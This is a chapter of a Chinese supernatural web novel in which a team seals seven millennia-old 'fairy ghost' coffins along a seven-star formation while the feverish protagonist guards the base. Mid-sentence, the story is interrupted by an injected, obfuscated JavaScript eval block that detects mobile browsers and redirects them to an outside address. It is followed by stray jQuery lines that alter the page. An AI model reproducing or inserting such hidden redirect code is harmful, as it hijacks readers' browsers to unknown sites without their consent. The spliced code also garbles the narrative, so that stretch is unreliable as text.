“我们在此猜来猜去,也没有任何意义,事情总得解决!”冷樾转头询问阎璟身体情况,眉宇间都是担心,“你可以吗?”
阎璟朝他点点头,嘴角带笑,“我没关系,扛得住。”
虽然这具身体跟普通的人类也没多大差别,但,毕竟也是仙体来的。
云为衫站起来,啪啪拍两声,“行了,正史也好,野史也罢,先把眼前的正事办了再说,本来想等明日一早再收拾他们,现在看来早晚都是一样的,那就速战速决!
咱们就按照冷樾展示出来龙脉上的七星定位,咱们刚好六个人,分别对应一处镇压的地点。
他不是会移动吗?咱们就把那几个会移动的仙女引到一处,直接一波流。”
白念生率先跟票,“同意。”
安饶竖起大拇指,“可以!”
和尚也点头。
云为衫双手掐腰,朝各位面前一站,“既然大伙都同意这么干!那接下来,咱们分配下任务。白念生!”
“到。”
“你负责天枢位。”云为衫直接下令
“好的。”白念生没什么问题,
“闻不聊。”
和尚抬眼。
“负责天璇位。”
“阿弥陀佛。”和尚双手合十微微颔首。
云为衫目光轻飘飘扫过阎璟,放在安饶身上,“我负责天玑和天权位。安饶,你负责摇光位。”
安饶比个OK的手势。
谁知云为衫回来又绕过阎璟,转头看向冷樾,“冷神,你负责开阳位置可以吗?”
冷樾点头,他的位置离中心点玉衡位最近,他说:“有心了。”
阎璟暗暗思忖,怎么样也该轮到给自己分配重要点位了吧,他深吸一口气,不动声色地把背脊挺直了些,等待云为衫的指令。
“阎璟!”终于喊到他了。
“在!”阎璟瞬间挺直了胸膛。
声音倒是挺大,云为衫白他一眼,“玉衡位这口棺材,已经被我们封印在檀木盒中,此地只需要看守就行。所以你负责看家!”
阎璟愣了一下,很是不解,“……不是,我不用去吗?我用处很大的!”
被飞沙吹了几下就发烧的人,还有资格说自己本领大!
众人低头抿嘴偷笑,白念生在一旁安慰他,“哎呀,你还发着烧,别想着建功立业,先把身体养好再说。”
阎璟才不是想建功立业。
别人不知道,但他清楚自己的实力。
再怎么样,他也比冷樾和安饶这两个什么都不会,只会玩高科技新型人类强吧!他忍不住开口,“要不,最后两个我来吧?”
在场可能只能冷樾知道他的顾虑,也清楚他的实力,估计阎璟出马,压根不用这么麻烦,他直接把邪门玩意拉出来,一挥手魂飞烟灭拉倒!
“你对自己的颜值没有概念就算了,怎么对自己的实力也没有概念呢?你比冷樾强我不否认,你能比安饶有经验吗?”云为衫啧一声,把他的话直接掐断。
站在一旁冷眼旁观的冷樾,顿时也跟阎璟一起无语起来。
阎璟还想再挣扎一下。
云为衫直接伸手打断,“就这么决定了,你看家。”
没想到在这些人心里,自己居然是最弱的,甚至比冷樾还弱!
就连冷樾都轻轻拉住他的衣袖,“听云组的吧!他有经验!”
阎璟顿时无语,“……”
他很强的!
就算没几滴神力,他也比他们一群弱鸡强。
众人眼里的阎璟,是他们团队里国宝级脆皮。
可阎璟眼里的他们同样是脆皮,白念生是个只会用判官笔的脆皮,云为衫就是只会远程攻击的脆皮,安饶只个会画符的脆皮。闻不聊只会念经超度的脆皮。
冷樾,脆皮中的脆皮!
这么多人,放着队伍里面最强的MVP不用,非得给自己找麻烦!
阎璟愣愣站在原地,看着众人一个个推门而出。
白念生路过他身侧,顺手把案台上,他顺手带过来的保温杯往他怀里一塞,“记得多喝水。”
“这里面是牛奶。”阎璟把头一撇,有气无力回答他。
“那就多喝点牛奶。”
闻不聊双手合十,从他面前走过,什么话都没说,但阎璟分明看见这和尚嘴角挂着笑,别以为他看不见。
安饶则是冲他挥挥手,比了个口型,我们很快回来。
冷樾是最后一个出门的,他顿了顿,回头看了阎璟一眼,没说话,只是把门带上了。
阎璟怀里揣着保温杯,听着外面几人的脚步声,渐行渐远。
“一群脆皮!好意思把我留下来。”
他把保温杯搁在檀木盒上,沉甸甸的檀木盒放在地上,走到门口,隔着那道门缝撅着屁股往外看。
漆黑无光的天空,没多会,开始有几处不同颜色的光,一个接一个,冲天而起,想必几人自己到各自的点位上了。
离他最近的开阳位,金黄色的光柱一闪一灭,那是冷樾所在的位置。
他有点担心冷樾一个人能不能搞得定,会不会有危险?刚刚他就应该再坚持一下。
熟不知,那边的冷樾已经隔断层层水域,潜入黄河之下,此刻正站在石台中央,垂着眼看面前的祭祀阵中的棺材。
在他两侧形成的水幕,风平浪静,连他衣角都没沾湿。
“你是跟我走,还是我亲自动手。”冷樾的声音很轻,就好像再跟它聊天一样。
那棺材通灵,像是能听懂他的话,闪烁两下,像是在谈判。
冷樾叹口气,他一向先礼后兵,礼过后就动手。
直接翻手朝上,一道金光火莲照耀在河底,“上面那个人,可以帮助你们,你应该能感应到,若是抵抗,我不介意现在就直接法灭了你。”
棺材又发起一道幽光。
冷樾眼神微眯,手掌直接蓄力,似乎真的打算毁掉。
那棺材意识到这人不是在开玩笑,身棺身一颤,自己顺着龙脉上的水流,开始动起来。
阎璟靠在门框上听好一会儿。
没多久,他就听到了外面传来冷樾的脚步声音。
他刚想抬脚出去,地上被封印的棺材突然在里面开始躁动不安,盒身跟着震颤,把他的水杯都震倒在地。
阎璟头疼,捡起被子,抱在怀里。
他发着烧本就烦躁,此刻脾气也不怎么好,这可是冷樾特意给他买的被子。
低头朝着盒中那口泛着幽光的小棺材,面无表情,眼神犀利,“你最好给我安静一点。”
又顿了顿,“别惹我生气,否则直接法灭了你,”
盒体一颤,里面顿时变老实了。
阎璟面无表情地想,果然连棺材也是欺软怕硬。
冷樾是这些人回来最快的。
阎璟还没反应过来,那道身影已经进了石屋,门在他身后轻轻合拢。
“怎么样?”
“身体怎么样?”冷樾走近,目光在阎璟脸上停了一瞬,两人同时问出口。
“我没事,别担心我。”
“没事就好,不出所料。”冷樾把他看到的情况简单说了一遍,“每个漩涡深处都封印一口棺材,而且棺材本身已然通灵。引诱不难,难的是聚在一起之后,执念不好消,没法入轮回。”
阎璟顿了顿,犯起难来,“到底是什么执念,这么难除?”
冷樾看着他,没立刻答。
“你做好心理准备。”他脸色并不怎么好,“我大约已经猜到了。”
又要他做好心里准备,这句话听着就不舒服,阎璟心里顿时咯噔一下。
云为衫的两组棺材是她直接强制带回的。
她懒得跟她们玩捉迷藏,直接白纱四面八方从天而降,像条游龙,直接将那两口棺材连根拔起,也不管它们配不配合,跟甩麻袋似的,直接甩到石屋跟前。
大地都被震得颤了三颤。
冷樾和阎璟从石屋内出来,只见门前三排棺材已经整整齐齐码在空地上,加上屋里那口,正好四口。
没过多久,安饶的身影也出现在黑夜中,不过他是一路被棺材追
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17262515|195461||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着跑过来的。
跑的气喘吁吁,到地方后,扶着膝盖大口喘气,冲众人比了个大拇指。
“来……引来了……”
“你拿什么引的?”阎璟比较好奇。
安饶直接简单粗暴把手掌摊开给他看,手掌一道血口子,还流着血,“血气。”
“……”
现在看来就只差白念生和闻不聊那边。
天枢和天璇两处位置较远,花费时间长也能理解。
云为衫站在原地等了几息,眉头渐渐皱起来。
不行!
“你们在这看着,”她有点不放心,说,“我去看看。”
这边云为衫刚离开不就,四口棺材,连带屋里那口,忽然同时发出幽幽的嗡鸣声。
然后,它们开始悠悠唱起歌来。
还真是这种玩意在唱歌,估计,它们就是这样引诱王老六的吧!
只是那声音幽冷,一股寒意,直往人的脑门里钻?
唱的还是那段——
“天河阻断姻缘路,千年镇压恨难消。天外锦书无一字,月下残影立孤桥。
往来寒暑金钗冷,物转星移玉容凋。谁人能解心头锁,还我自由上九霄。”
之前听,阎璟隐隐约约只听到一两句。这会儿,听的清清楚楚,他终于回过味来。
只是这首诗里所说的,镇压……千年?是他想的那个意思吗?
阎璟喃喃自语,“千年?”
冷樾转头看他,声音放轻了些,“别担心,会解决的。”
阎璟不是担心有没有办法解决,他拉着冷樾的衣袖,只想问清一件事,
“你说她们真的已经存在了……千年吗?”
“嗯。”冷樾扶着他,想了想,“从水下的古遗迹和祭祀场所的规制来看,很像千年前的产物,应该大差不差。”
安饶靠在墙边,总算把气喘匀了,他幽幽接话,“要不怎么说人家是仙女呢!”
阎璟如遭雷击,而此时,远处的天边真的一道天雷直接砸了下来。
“轰隆隆——!!”
冷樾和安饶同时抬头。
阎璟也瞬间站直了身体,望着远处那道天雷。又僵硬地转头,望着地上那四口整整齐齐的棺材。
七个。
存在了千年,没有投胎的死魂。
阎璟简直不敢相信,十分艰难的开口,“居然有七……个?”
“嗯。”冷樾说。
安饶在一旁补充,“所以是七仙女鬼。”
阎璟沉默了三秒,然后自己捂着脸,慢慢蹲了下去,久久没有抬头。
“天呐!”他的声音闷闷的,不可置信,“平均五十年投胎率,还是均少了……”
离得最近的冷樾听的一清二楚,嘴角忍不住上扬。
阎璟本以为,沈松岩六十年,苏三娘一百七十年,已经是异类中的异类。
没想到还有七个千年的。
这得积累多少加班费呃不是,是多少怨气啊!
被镇压在黄河底一千年,始终无法入轮回,搁谁身上都得疯,搁谁身上都得有怨。
若她们真是七仙女……那他这罪过,真不是一般的大。
阎璟缓缓抬起头,大脑一片空白。可是,他茫然地想,也没听说过仙女没了仙籍,被镇压的事啊?
冷樾垂眼看着他,半晌,他才蹲下去,把阎璟从地上拉起来。“起来吧!”他说,“地上凉。”
阎璟没动,冷樾又拉了一下。
后面安饶笑了一下,“阎小璟,快起来吧!若是被白念生看到,他肯定会提醒你,这地上不能拉屎。”
“……谢谢你的好意提醒。”阎璟终于抬起头,神情恍惚,摇摇晃晃站起身,“冷樾,如果现在跟我讲,有个万年没投胎的,我都不觉得惊讶了!”
“……”
“你说我要是现在给她们一人烧一炷香,还来得及吗?”
冷樾认真想了想,“来不及了,不过,毁尸灭迹倒是可以。”
阎璟:“……”
几口棺材同时一颤。